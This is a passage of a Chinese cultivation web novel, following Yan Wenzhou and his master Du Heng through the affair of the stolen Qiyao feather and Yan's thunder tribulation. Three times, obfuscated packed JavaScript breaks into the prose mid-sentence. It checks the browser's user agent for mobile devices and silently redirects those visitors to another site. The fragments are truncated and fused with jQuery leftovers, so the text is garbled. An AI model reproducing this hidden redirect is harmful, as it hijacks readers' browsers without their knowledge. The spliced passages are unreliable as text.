最后,钟慎还是稀里糊涂地在洞天别院里留了下来。杜衡十分不乐意,眼神冷得跟西北风一样,好在钟慎仍是半梦半醒,半点也不觉得自己要被片成肉片了。 清醒过来后,他一口喝干了面前的清茶,还是觉得心跳如鼓,看向严文洲的眼神满是敬意。不过才几个月而已,严大哥居然已经到了金丹期,气息甚至比宗门中一些进阶金丹多年的师兄还要浓重,想来定是要进阶元婴了! 原以为自己的进度已然可喜,但这么一比,实在是贻笑大方了。 而且,那位杜宗主……想了想,他还是觉得这是私事,旁人不该多加过问,于是左右看看,见无人便压低了声音问道:“杜宗主可是与我师尊有什么过节么?” 严文洲点点头,“唔,他和明朔剑尊确实有些过节,钟兄下次可莫要在他面前提到明朔剑尊了。对了,钟兄既然出自安原郡钟家,可曾听过些传闻?” 就在钟慎在那儿给自己师尊造谣的时候,系统阴魂不散的嘀嘀声又响了起来:“安原郡江家中藏有大秘密,请帮助钟慎完成调查!奖励:地阶上品灵芝一份!” 严文洲虽很不乐意系统支使自己,但思及钟慎的身世和他身上诡异的魔气,还有辉虹阁那位明显和自己有仇的楼台使,这个任务定然是要做的。 不过很明显靠不了钟慎。 原想着这位玄天卷的“爱子”自己便出身钟家,或许听过什么传闻,结果倒好,一问三不知,除了一些大概率是给钟家脸上贴金的上古秘闻便再没有了,便是连家长里短这些琐事都不知道。 “……族中人对我多有异议,寻常事也避着我,抱歉严大哥,我实在不知道。” 严文洲啧了一声,听钟慎方才所言,这傻小子多半在钟家过得比寻常仆役还不如。他有意活跃气氛,便开玩笑道:“富贵不还乡如锦衣夜行,不知钟兄拜入明朔剑尊门下后,可曾回过钟家没有?” “这倒是没有,”钟慎笑了一下,神情中染上些忧愁,“玉虚峰上功课甚多,我每日清修苦练,如今才筑基后期,也不知什么时候才能结丹,以此等修为出门,实在是有些愧对玉虚峰。” 严文洲好生宽慰了几句,却惹得钟慎眼神愈发幽怨。这幽怨还与杜衡的眼神颇有些不同,一个清清白白,另一个……心里一激灵,他陡然发现杜衡这人也是很会装的,玉雕成精似的一个人其实早就把心思写明了,只是外表太具有欺骗性,不管做什么都好似问心无愧一般,这才没有被发现。 严文洲不由一笑,不过如何做那种事,他仅有耳闻,未曾实操,确实不懂,还是得觅些双修法门来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269133|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 另一边,钟慎正觉莫名其妙,忽然背后一寒,回过头去,背后只有郁郁竹林,再无其他。 海东城西市 谢渡翘着脚听着楼下不语楼音修新出的曲儿,紫袍在身后晃荡出极嚣张的弧度,手里的泥金扇子摇得飞快,将身边站着的胖管事扇出了一头冷汗。 此处歌舞坊名为平乐,跟飞仙城里那一座平乐坊同出一人名下,名义上是四洲鼎鼎有名的大美人司白河的产业,跟东极道扯不上半点关系。 可要是这位大美人儿就是那位从不见真面目的清河使本人呢?四洲知道这个秘密的人不多,胖管事就是其中一位,很不巧的是,他还知道另一个秘密——眼前这个紫衣公子哥儿是前任东极道主谢渡! 知道太多秘密的人,多半是活不长的,而离秘密太近的人,也多半是短命的。 眼下,他几乎已经置身于秘密的最中心,不由忧心起自己的寿数来。 楼下的乐姬咿咿呀呀唱了好一阵,胖管事的心都要被冷风吹凉了,他才听到身边传来一句:“传言说,七曜羽在东极道主手里?” “是,城中几乎所有茶楼的说书先生都在传这件事。” “怎么说得?” 胖管事迟疑了一下,恭恭敬敬递上一大摞书,“各个说书先生说得都不大相同,有说东极道主与夜游宫主勾结的,有说东极道主与剑尊相斗后身受重伤,便偷来七曜羽疗伤的,也有说东极道主不爱江山爱美人,受伤后与某仙修相恋,盗来七曜羽哄她开心的,什么说法都有。属下已然都整理好了,还请尊者过目。” 谢渡似笑非笑地看了他一眼,胖管事立刻改口:“请先生过目!” “都是什么时候传出来的?” “不过三五日功夫。” 谢渡掐指一算,差不多就是傀儡被狗咬,自己碰上倒霉徒弟的那一天。假七曜羽明明藏于傀儡之中,却莫名其妙地扯到了一个使刀的身上,奇了怪哉! 定然是有人使诈! “修罗门有什么动静么?” “八日前,修罗门主便秘密进城,后来一直在杨柳烟。” 谢渡一回想,立刻将城中谣言算到了修罗门主身上。他一路躲机关躲暗器,好不容易才神不知鬼不觉地偷出七曜羽,正要好好欣赏一番海东城里对于自己精湛技艺的吹捧,谁曾想这桩事居然一下算到了严文洲头上! 这后生晚辈好会败坏兴致! 合该好好教训教训! “好好盯着他,他什么时候出门便什么时候来禀报我。” “是!” 哒——椅子脚落地,谢渡唰拉一下合上扇子又再度展开,往外走了两步,忽地回头阴森森地看着胖管事,“别来玩什么有件事不知当讲不当讲的把戏,有话快说有屁快放!” “是!洞天别院有位太清宗弟子来访,被请进去了,是明朔剑尊新收的二弟子。” “……出来了么?” “尚未。” “行,滚吧。” 胖管事麻溜儿地滚了。 谢渡摇着扇子琢磨了几秒,觉得今日的太阳没准儿会从东边落下——怎么明朔剑尊这个百年不出山的也要来插一脚小蓬莱的破事?这俩关系很好? 唔,不对,肯定是跟那倒霉徒弟有关。 不过七曜羽么,他还得留着玩几天。 就这么还算风平浪静地过了七日,茶楼说书先生的话本子又厚了许多,西市歌舞坊里还多了一出极为精彩的新戏,说的是某草根少年拜入一高贵仙门,历尽艰险后终于青云直上,还抱得了云端美人归,正要迎娶道侣时却发现如花似玉的大美人只是天魔幻象,而宗门的至高秘法便是用自身血肉喂养天魔! 结局如何,还在编,但员侨岛主率先坐不住了,带着一大帮人冲到了洞天别院门口。 “小蓬莱陈如新拜见杜宗主!”料定了传讯飞鹤没用,他径直扯着嗓子喊起来,每个字都拖得极长。 时候尚早,日头不过刚刚升起,严文洲难得睡了一觉还没彻底醒,当下便觉得十分吵闹,含糊道:“谁在外面号丧?林子多的是,来这里做什么?” 杜衡弯了弯眼,抬手又落下一道禁制,多余的声音顿时消失,“一个不识相而已。” 严文洲心里不爽,然而也猜到是热闹自己上门了,于是勉力把自己从锦被里拔出来,“不了。是员侨岛主还是九霄剑派的?” “东极道的。” 严文洲一下清醒,看清杜衡表情时才反应过来,不由长叹,“怎么还学会骗人了?” 杜衡笑而不语,撤去禁制,又打开了洞天别院门口的禁制。 不多时,一身素白仿若丧服的员侨岛主便站到了眼前,身后是高矮胖瘦一堆修士,约莫都是些什么宗什么门的长老、太上长老。 严文洲仍没记起来东洲仙门的事情,于是一个也没认出来,只津津有味地看着员侨岛主啪唧一下跪倒在地,哭号起来:“杜宗主,先前是我小蓬莱行事不当,然祁照水已死,七曜羽失踪事关重大,还望杜宗主能不计前嫌,施以援手!” 莫说洞天别院里的两人,便是他身后的修士也小小骚动了一阵。 能在这么多人面前做到这样,要么脸皮厚比城墙,又有重利相诱,要么便是对小蓬莱有着深深的爱,回想一下天魔劫火时员侨岛龟缩不出的样子,严文洲觉得该是前者。 杜衡纹丝不动,垂眸看着黏在地上的人道:“你想让我做什么?” 员侨岛主僵了一下,没料到这人说得这么直白,准备好的措辞一下被打乱,险些没接上来。然而直白不好么?深吸一口气,他嘶吼道:“晚辈有确切消息,七曜羽实在东极道主手中!” 声音当真称得上是绕梁三日仍有余音。杜衡哦了一声,一点不意外,“那你该去找明朔剑尊,他比较有经验。” 44.天魔来处(九) 严文洲没忍住笑出了声,顿时惹来几道不善的目光。 “诸位瞪我做什么?七曜羽可不在我身上。”看着这群人愈发火起却半点不敢多言的神色,他陡然感受了狐假虎威的快乐。 员侨岛主尚未回神,杜衡又慢吞吞地补充了一句:“对了,我只有合体,也打不过东极道主。” 严文洲含笑点头,好心提醒道:“不过明朔剑尊已是洞虚修为,且尚在还真山庄,若岛主现在启程,晚上便能到了。” 员侨岛主自然不甘心,“可、可东极道主已然被明朔剑尊所伤,这么久没露面定然是身受重伤,境界下落!” 杜衡:“那,我为什么要为你们拼杀?” “事关天渊封印,若小蓬莱支撑不住,天渊定然不稳,到时候天魔肆虐又该当如何!更何况,杜宗主就算心有嫌隙,也该顾及仙道颜面。”有一道灵光落了下来。 严文洲冷哼一声,十分不爽,循声看去,不认识,但看气息,应该是九霄剑派的人。 这会儿,洞天别院禁制全开,又有几道灵光唰唰唰出现,落下却是魔修。 “哈哈哈,杜宗主自然不会应允,毕竟七曜羽此刻说不定正在此处呢!”甫一落下,这红衣修士便发出一阵嚣张至极的笑,吸引了全场目光。 听来傻缺且熟悉。严文洲心中一动,仔仔细细打量了一遍,果然有了些许零散的记忆。这该是修罗门门主,和自己有仇。 而且,这位门主的眼神似乎不太好,怎么一直斜眼看人呢? 不等别人开口,员侨岛主先傻了眼,隐隐觉得事情发展超出了自己控制。城主府中传来的消息分明是说七曜羽已经被姓闻的秘密献给东极道主了!怎么可能在此处呢!? 修罗门的风评虽然一向不怎样,但毕竟和夜游宫、东极道同为魔道,更因为一些陈年往事极喜欢和东极道作对,东极道主到底死不死,修罗门比东极道还要关注。 良久,落针可闻的客堂里才有人颤巍巍飘出一句:“何出此言?” 修罗门主摸出一把扇子,兀自摇得得意,闻言便轻飘飘地摇了摇头,“诸位真是想岔了,太易宗虽是仙门,可谁也没说仙修就不能和魔修合作,是吧,尊者?”说着,眼神缓缓落到了严文洲身上。 严文洲:“……” 他站得虽和杜衡很近,到底还隔着一个人的距离,而在场的都是修士,一个个眼力好着呢,一点不会看错,于是一个个都陷入了极大的迷茫中——这位修罗门主莫不是脑子坏了。一个金丹仙修,怎么可能和修为深不可测的东极道主扯上关系!? 更别提,这位太易宗弟子来东洲不过寥寥几个月! 然而员侨岛主却陡然想起了什么,神情骤变——当日天魔劫火时,正是杜宗主这位高徒率先出现,而后杜宗主才出现的! 传闻中,东极道主正有驱使天魔之能,修为能用秘法掩盖,可这般能力却实难伪造!那么这位杜宗主,莫不是因岱屿岛之事怀恨在心,早已和东极道勾结预备将小蓬莱吃干抹净! 若这两个动起手来……他心生不妙,只觉得这人灰蒙蒙的眼眸里满是杀意,再也看不到半点曾经的云淡风轻,立刻想直接放弃七曜羽,继续回岛窝着。 然而却有人不让他走。 九霄剑派的长老也觉得十分莫名其妙,“七曜羽事关天渊封印,若是修罗门不打算接过小蓬莱的担子,还请回避!陈岛主,不知你可知东极道主此刻藏身何处,也许我等还能帮上忙?” 员侨岛主:“……” 修罗门主本有着十足的把握,摇着猩红扇子正准备看好戏,瞥到严文洲看傻子的眼神已生暗怒,此刻又听九霄剑派长老如此直白的逐客令,立刻炸了,“杜宗主,敢问你可知你这位徒弟的底细!?” 杜衡意味深长地看扭头向严文洲,见他看热闹看得正开心,一点不觉得火烧到自己身上了,不由唇角一弯,回头缓声道:“自然,是我太易宗的人。” 修罗门主一咬牙,觉得这太易宗主不愧是臭算卦的,一看就脑子有疾,都这时候了还笑得跟阴阳宗的妖道一样,恶心! “入门不过一年,便有金丹修为,杜宗主不觉得奇怪么?” 此话一出,在场的大小仙、魔修才意识到些许不对劲,修罗门主发疯常有,如此认准一个目标在合体大能前发疯却不常有!更何况,若以他所言,那这弟子确实是有问题啊! “奇怪什么,秘境中有些机缘而已,难不成你是因为自己年岁已大,却仍只有这点修为,心生嫉妒?” “……杜宗主真会开玩笑!” 九霄剑派的长老左右看了看,怎么都觉得杜衡身后的青年虽然看着不守规矩了些,但气息清朗,跟魔修扯不上半点关系,于是心中对魔修的鄙夷又一次冒了头:“修罗门主还是勿要再开玩笑了,我等……” “诸位莫不是忘了,东极道主曾经也是个仙修,修的乃是临川君以江家垂云剑法改成的刀法,一手刀法在四洲内无出其右!”修罗门主血红的眸子盯住严文洲,“你可敢出刀么?” 严文洲无奈摇头,“都说是在秘境中得了些许机缘而已,门主怎么这么较真?”说着,又扭头看向杜衡,“师尊,你看如何呢?” 杜衡想想,觉得杀了也无妨。 虽说迟早要动手,但这样膈应人的东西,还是迟早灭了好。 严文洲敏锐地察觉到了那一丝杀意,心中很是微妙——就算这傻子端着东极道主的命灯跑到面前逼着他滴血,他也能脱身,然而杜衡这点来得极为迅疾的杀意,实在出乎意料。 似乎,杜衡对自己的情谊,还不算太薄? 他陡然十分舒心,要不是还有旁人,都想做点别的什么了。 静默的时间已然太长,长长短短胡子们看严文洲的眼神相当不妙,怀疑间夹杂着些许恐惧,恐惧中又有些垂涎。 就算不是东极道主本人,但万一是得了东极道主传承的好运气修士,那也足够有价值了! 众所周知,东极道主坐拥无数珍宝,成精儿的人参只能给他做杂役,一滴便价值万千的灵泉在他那儿是当洗澡水用的!此种财宝放在一个炼虚修士身上,是茶余饭后的谈资,而放在一个金丹修士上,那便是暴殄天物了! 员侨岛主完全麻木了,一个字也不提七曜羽,脚步微不可察地慢慢往外移动,就在已经退到最后,即将接触到门槛时,面前咚一下落下个什么东西—— 长条形,羽毛状,七彩宝光,熠熠生辉! “七曜羽!” 几声尖叫几乎同时响起,无数双眼珠子咻一下从严文洲身上转到插在门槛前的羽毛上。便是修罗门主也被这变故惊了一下,回头看过去,顿时十分难受,怎么感觉都像是真的! 不等议论稍停,洞天别院门口悠哉游哉荡出一个人来,白玉冠,长面孔,槿紫衣袍流光溢彩,腰间丁零当啷挂了一串,将人衬得珠光宝气,似乎是哪里珠宝铺的少东家一般。 “陈岛主,来都来了,怎么这么急着走啊?” 员侨岛主年轻,一看之下只察觉出这是位修为极高的魔修,其余什么也不知道,只僵硬地笑了一下,还得多亏修罗门主一声惊叫:“谢渡!” 谢渡,前任东极道主,传闻中死了三百多年的大魔头! 九曲回肠顿时青了,他恨不得两眼一翻直接昏过去! 好在扔出了七曜羽之后,谢渡也没大开杀戒,只敷衍地指了指地上的羽毛道:“本座一届魔修,不过借来玩赏几日而已,陈岛主不必如此心急,还你了。” 说罢,他又转向修罗门主,上上下下打量了好一番才开口道:“你修为虽不如你师傅,倒是比他聪明许多,记性也比他强上许多,还记得我这死人。听闻修罗门第一喜欢和东极道纠缠不清,第二喜欢在各处安插探子,想来海东城中的消息多半也是你放出来的吧。” 一见此人出现,修罗门主立时反应过来自己被耍了,本欲走为上计但脚下却像是生了根一般动弹不得,只能眼睁睁地看着谢渡一边胡编乱造,给自己扣了无数口锅,一边一步一步靠近,而后捏上了自己脖子。 “只可惜,你的眼神实在不好,不过见到了只傀儡便觉得是我那逆徒出来作祟,殊不知他早就被我杀了,下回投胎可得要好好长长眼。” 话音刚落,几个呼吸前还活蹦乱跳的修罗门主已然灰飞烟灭。 严文洲看得眼皮直跳,只觉传闻中十恶不赦、杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282314|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人如砍瓜切菜的东极道主该指的是这位前任东极道主! 不过若是换做自己,大概也就是换个死法的区别,最终结果并没有什么区别。 这么一想,他又乐了,自己和谢渡能成为师徒,还是很有道理的。 客堂安静了许久,眼见着日头已经过了中天,院子里的花开得正盛,被风一吹扑簌簌落下一片,惹得游鱼们竞相来啄,好看得紧。严文洲透过花窗看了一阵,又扭头看向杜衡,忽然觉得客堂里这群多余的人十分碍眼。 如此良辰美景,就该两人共渡。 这么一想,他朝谢渡使了个眼色,然而谢渡正在享受消失了数百年的惊骇目光,根本没接收到唯一徒儿的需求。倒是杜衡传了道音过来:“文洲这是早已和谢尊者串通好了?” “机缘巧合而已。” 杜衡意味不明一笑,施施然拉着人朝洞天别院外走去,只留下一句:“既然七曜羽已归还,诸位不如在此慢慢叙旧,我先走一步。” 这么一出声,众人顿时如梦初醒,却也做不了什么,只瞪眼看着两人往外走。 倒是谢渡又笑了起来,踱着四方步走到了员侨岛主面前,泥金扇子啪一声展开,凉风顿时嗖嗖的。 “本座钻研傀儡术多年,听闻小蓬莱有门秘术叫三尸术,可幻化人形,自主在外走动,暗自仰慕多年。这一回本想着七曜羽中或有三尸术线索,便借来一观,只是一到手才知道,原来七曜羽竟与天渊天魔大有关系,本尊实在是不曾想到小蓬莱如此仙门竟也有这般法门,失敬失敬!” 员侨岛主心情几度起落,年纪轻轻的竟觉得心脏有些承受不住,此刻听谢渡再度开口,心又开始怦怦乱跳起来。 被当众叫破门内秘术,本是极为恐怖的,然而他这些天遭遇的实在太多,而小蓬莱如今又实在残破,眼下听着除了心跳得快了些,竟毫无多余的感觉,因此只愣愣道:“实在惭愧,晚辈竟不知前辈所提何事。” 谢渡高深莫测地摇摇头,不再言语,离开。 然而不言语也是一种回应。小蓬莱的天魔劫火本就起得十分蹊跷,单单一个祁照水走火入魔也就罢了,一个个长老还都死在自家承明殿上,说是内斗也不像内斗,说是天魔入侵,除了劫火,却也没有其他痕迹了。 虽说如今一致认定方丈岛主同样是死于这位杜宗主之手,但其他呢? 海东城中的谣言一天变个八百回,直到如今也没什么站得住脚的,谢渡这么有意无意地一提,众人倒是想起了最近新出的那一幕大戏。 倒是似乎,有几分道理呀! 严文洲特意慢了两步看完整场热闹,此刻见谢渡离去,剩下的长短胡子们表情变换得比变戏法还要精彩,不由心情十分愉快。为免打扰了长老们沉思,他一把拉着杜衡便往洞天别院外而去,及至出了门才狂笑出声。 夜游宫长老听闻了消息,本着急忙慌地赶过来,以免海东城里冒出合体大能怒杀无数修士,立刻成为仙魔两道通缉单榜首的惨案来,此时一听这十分嚣张的笑声,立刻知道自己是多虑了,又屁颠屁颠地掉头赶回去给自家宫主报信了。 恰至此时,一只风尘仆仆的传讯飞鹤落在杜衡肩头,两只雪白的翅膀已然微微发黄,尖上还都破了一点,一落下便半死不活地瘫下去,看上去疲惫至极。 严文洲心中一动,传讯飞鹤安全廉价,只是短距离用用还挺好,若是要跨洲则慢极了,没有十天半个月别想到,一般要跨洲传讯都是用更昂贵的方天水镜术。 这等潦倒的修士,多半是还在飞仙城外山林里苦苦等待的太易宗诸人了。 果然,杜衡边看边笑,将纸鹤递过来,上面只十分潦草地写着一行字——掌门,我们等你等得好苦啊!何日归来!? 这口气,像是陶乐的手笔。 严文洲细细回想了一下太易宗草木,发觉那地方虽然确实没什么仙家气象,却颇有一种天真稚拙、返璞归真的美感,陡然生出一种游子思乡感,立刻道:“此处事情已了,不如明日便走?” “好。” “且慢且慢——两位且慢!” 扭头一看,居然是还真山庄的教习。 严文洲脸绿了。 45.三山离火(一) 还真山庄自然是不可能去的,有明朔剑尊这个嫉恶如仇,已然手刃了东极道主一次的仙尊在那里,严文洲不离着还真山庄绕道走,就已经很好了。 他觉得杜衡定然是知道这一点的,然而这人温柔纯洁的外表下实在藏着一些难以言说的东西,在那位还真山庄教习前装模作样了好一阵,才推说自己要先行考虑考虑,明日再答复,拉着徒儿走人。 长街熙熙攘攘,两人沉默无言。 严文洲此人,吃软不吃硬,杜衡这么一出,便搅得他心情十分微妙。 眼见长街将至尽头,他冷冷开口:“师尊可想好了要不要去还真山庄?我听闻这一次论道十分盛大,说不定去了大有好处。” “有缘才是好处,若是无缘,去了也只徒增烦忧,”杜衡声音微顿,一下变得十分小心,“文洲若不想去,自然是不去。明朔剑尊鲜少出玉虚峰,我不过是担心你还想再见他一面。” 严文洲一下扭头,神色怀疑,“当真?” “当真。” 杜衡说得掷地有声,配上他一脸无辜委屈,实在是唬人极了。 严文洲总觉得不对劲,“我见他作甚?” “总归是旧日道侣,万一呢?” 杜衡说得愈发委屈,简直是泫然欲泣,飘散的每一根发丝儿上都好像凝着即将滴落的泪水,看得严文洲恍惚间竟觉得是自己的不好,好半晌才憋出一句:“没有万一!” 杜衡一下雨收云散,天清气朗。 不,气恐怕也没那么清朗。 同在长街上游手好闲的仙修一眼便看到两个大男人正在光天化日之下卿卿我我,顿时气得脸色发青——果然是魔修治下的城池,实在是民风不正! 说是要走,两人走得也没这么快。倒也不是什么大事,只是药王谷那位癖好独特的前辈又找上门了,不过这一回,找的却是杜衡。 倒也不是什么大事,只是想让杜衡算一卦,算一算将来能继承药王谷传承的人在哪儿。 这一卦十分简单。 只是按照杜衡所指的方向,还有系统先前给傻小子安排的路,药王谷这支四洲修士趋之若鹜的传承多半又落到了钟慎头上。 药王谷之后,又是九霄剑派的何知意,他也想知道自己这一脉剑法会不会有传人,有的话又在哪儿,然后居然连还真山庄的白胡子教习都来了,只是他不是来问弟子的,问的是某本古籍的下落…… 一时间,洞天别院门庭若市,杜衡倒不像是个算卦的,而是个卖情报的,不过价格十分高昂——一次一到五万中品灵石不等。 严文洲看得眉心直跳,忍了几天便再也忍不住了,坚决拉着杜衡登上夜游宫主友情赠送的飞舟,往飞仙城而去。 天道无常,若是一个不小心知道了些不该知道的东西,那可还得了! 一路上再无风波,偶尔碰上下雨,也不过吹点拂面雨丝,十分温柔可爱。 严文洲从未觉得在飞舟上的日子能这么舒坦过,就连一直在视野边缘的那片莽莽丛林都像是一块毛茸茸的绿毯子,遥远而无害,甚至于偶尔传过来的几声妖兽嘶吼也在飘渺云雾中镀上了几分仙气,只平添了几分野趣。 这也许是因为夜游宫主的飞舟实在很精致,也许是因为…… 杜衡的心跳再一次传递过来,微凉的体温再一次攀升,“文洲在想什么呢?” 声音直接响在心海,近得不可思议。严文洲一个激灵,自发贴了上去。 这种事情,只要有第一次,很快就会有第二次,之后是第三、第四、第五次,然后便数不清,也不需要数了。 不过即使没有这种事,和心上人畅游四洲总是十分开心的。 回到太易宗的时候,萧索冬日已经走到了尾声,浅色草芽正于土壤中蓄势待发,太玄峰主殿外的灵田也撒上了新一轮的种子。 “师尊!” “掌门!” “严大哥!” …… 飞舟落下,惊起尖叫声一片,大半是因为修为,小半是在消失已久的掌门和他的二弟子之间察觉出了几分古怪。 “合体?” 得到了肯定的答复后,陶乐开心得简直要晕过去了,拉着身边的阿钦就开始手舞足蹈,兴奋得比阿钦还要像个蛮荒野人。 而李长安与黄时雨的重点则在于严文洲的修为,定定地看了许久之后兴奋陡然消失,一个神情惆怅,一个面露绝望,纷纷要转身离去发奋苦修。 李青云倒是比较平静,上下打量了两人一番便微微松了口气,看样子,只要二人不是带伤归来给她增加负担,便无所谓。 自闭了一路的系统也终于复活了,叽叽喳喳催着任务,还新发布了一个任务:“嘀——太清宗宗内大比即将开始,请对钟慎展开特训,帮助他夺得魁首!奖励:地阶上品未知灵兽蛋一枚!” 严文洲微不可见地皱眉,暂时不理它。 短暂一聚,几人便要散开,继续干自己的事,然而杜衡却把所有人都叫住了,“诸位,不知宗内月例几月未发了?” 声音是极好听的,内容是极残酷的,严文洲脸上的笑意顿时消失。 天真稚拙有天真稚拙的妙处,然而灵石不会真的从天上掉下来,在海东城白吃白喝了这么久,又在海市被黑礁少主的富贵迷了眼,他倒是忘了太易宗快穷得连底都没有了。 扭头一看,场面已然开始尴尬—— 黄时雨迟疑了一下,“三月?” 李长安立刻摇头,“你是说三个月还是从上年三月便没再发过了?” 陶乐搓搓手,“难怪贫道手头有点紧,似乎是有段时间没发月例了。” 李青云双目微阖,“差不多得了,宗门这个情况,诸位理解一下。” 杜衡扬手放下几堆灵石,好声好气道:“那就从上年三月开始算好了,十六个月的月例,还有未来十二个月的预支份额,诸位请拿好。” 眨眼间,刚刚放出储物袋的灵石便又进了储物袋,空余一丝飘散的灵气告诉着众人刚刚发生了什么。 严文洲摇头叹息,曾经能和太清宗比肩的大派,如今竟然连月例都要从掌门的小金库里出,真是令人唏嘘。 唏嘘归唏嘘,他如今还有件大事要做——闭关潜修。 此次东洲之行,收获不是一点点大,更是因缘际会得到了如今功法的后半篇传承。那本是世间顶级法门,然而他闯入中洲时已是万念俱灰,又只得到了前半篇传承,晋升炼虚时不得已,用的是自己摸索出的后半阙功法,终是落得个天魔缠身之相。 如今有了正确功法,自然是事倍功半。 浓郁到近乎凝成实体的灵气如丝如缕般汇入青年各大关窍,皮肤上宝光熠熠,几乎有天人之相,可狰狞天魔的影子却在背后一闪而逝。 天际云海翻涌 一个月后,陶乐磕着瓜子,使劲儿拍了拍身边的阿钦,“看好了,天雷要落下来了。” 阿钦认真点头,连瓜子也不嗑了,专心望着后山。 黄时雨抬头望天,顺手从陶乐手里蹭了一把瓜子开始咂摸起来,“不会吧,我看这天色还好着呢,先前比这天吓人很多不也没落下么?” 陶乐给了他一个脑瓜崩,嫌弃地摇头,“年轻人不懂啊。” 黄时雨颇有些委屈,确实不懂啊,又没结过婴! 轰隆——一声惊天动地的巨响,黑紫色的天雷便直直落入后山!黄时雨一个激灵,手里没吃几颗的瓜子撒了一地,只听耳边幽幽道:“看好了,这天雷呢,就是喜欢趁你不备的时候劈下来!” 轰隆——又是一声,黄时雨只觉得耳朵开始疼,下意识地给自己加了个隔音咒。 轰隆——轰隆——轰隆—— 连着三声,黄时雨面皮抽搐,十分怀疑俊俏得堪称太易宗一枝花的严大哥已经被劈成黑炭,收尸都成嘎嘣脆不好收了。 “哦呦,五道,不错!”陶乐却是十分高兴,拍着阿钦的肩膀语重心长道,“徒儿啊,我也不求你将来如何,结婴时能顶过这阵仗就胜过四洲百分之九十的修士了!” 阿钦一脸坚毅地点头。 然而劫云完全没消,甚至还更多了,阴云翻涌得跟锅里的滚粥一样,浓稠绵密,细小电弧不停游走在云端,几个呼吸间便将铅灰色的云映出了紫色。 “天啊,怎么还有?”黄时雨不觉出声。 陶乐嘿嘿了两声,“放心,你要相信你严大哥!这结婴天雷,从来都是资质愈好,便愈多,以师叔的资质,想来七八道不是问题!” 黄时雨头一次发现,原来资质平庸也不是没有好处的。 似乎厌烦了一道一道劈,天雷一股脑儿地落下,耳边雷声炸成一片,便是有隔音咒,黄时雨也觉得耳朵十分疼,似乎得找李峰主看一看。一抬手,他陡然瞪大了眼——血! 怎会如此! 一声尖叫不由自主发出,喊到一般却忽然觉得有些不对,怎么忽然听得见了? 仔细一看,原来是周围多了圈禁制。 勇猛如阿钦,脸色也变了,颤颤巍巍地问道:“师傅,这是正常的么?” “不正常!”陶乐一把扔了瓜子,神色十分严肃,“结婴天雷最多就九道,如东极道主和明朔剑尊,都是扛过了九道天雷的狠人,若是多于九道,那……”他停了下来,眯缝眼瞪得跟铜铃一般,看向后山的眼神几乎射出精光来。 “那什么?” “那多半是天道不容了。” 陶乐说得半点不错,严文洲身上确实有些天道不容的东西,比如系统,又比如天魔。 好在结婴虽然有些匆忙,但准备还是做足了,该布的大阵一个没少,该疏散的人员一个也不在。 劫雷轰然落下,举目所望便是一片雷域,脚下的如茵绿草早已变成一片焦土,裂纹甚达数尺,然而站在劫雷中心,几乎裹挟着一身紫电的青年仍是毫发无损,皮肤表面隐现流光,周身除了游走的电弧,便是飞速翻涌的灵气。 轰隆隆——又一阵天雷落下,飞沙走石,眼前一片混沌,几乎有地动山摇之感。 严文洲已然数不清落了多少道天雷了,元婴已在雷火煅烧中成型,而天雷却完全没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290925|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下的意思。 既如此,那便换一换吧。 几个山头外,众人只见满目雷火间陡然生出一道银月般的弧光来,似慢实快直指天穹! 圆满而森冷的光瞬间炸开,天地间似乎静止了一刹那。 只听一声撕裂般的巨响,翻涌不停的劫云陡然一顿,下一刻便飞速散去,几个呼吸便消失得一干二净,快得跟逃命一样,而后,七彩祥云才声势浩大地爬上来,慢悠悠地布满了整片天穹,似乎颇不情愿。 黄时雨一脸恍惚,仿佛也挨了几道天雷一样,半晌才声音发飘地问道:“陶峰主,严大哥这是成仙儿了么?” 陶乐一脑门子汗,“……反正还活着。” 后山,严文洲掸掸身上的灰,待到系统一连串的警报消失后才意味不明地来了一句:“统兄,你害得我好惨啊。” 若是无事,系统大可直接装死,但眼下任务已经到关键节点,正是火烧眉毛的时候了,如何能装作无事发生! “宿、宿主,我不是故意的!我真的不知道会这样啊!赔偿的事情以后再说,你先赶紧去安原郡,钟慎要死了啊啊啊!” 严文洲怎么可能让它拖下去,料定了系统不会在这个关口上来什么惩罚,他十分自然地狮子大开口起来,“六个地阶阵法盘,或者相应分量的灵石。” “……太多了!” “那不如下次遇到险情,先请统兄出来为我引几道天雷制敌可好?” “五个地阶阵法盘,不能再多了!” “好,”顿了顿,他又道:“还请统兄指路。” 扫了眼灵台里简陋至极的地图,严文洲踏上白鱼刀,往安原郡疾驰而去,只留下半空中一张字条儿随风飘荡。 不多时,陶乐三人小心谨慎地踏上了这片刚刚遭遇天雷的土地,空气仍然灼热,似乎多走几步就能感受到天雷余韵一般。 “好多雷击木!” “欸,严大哥呢?怎么不在!” 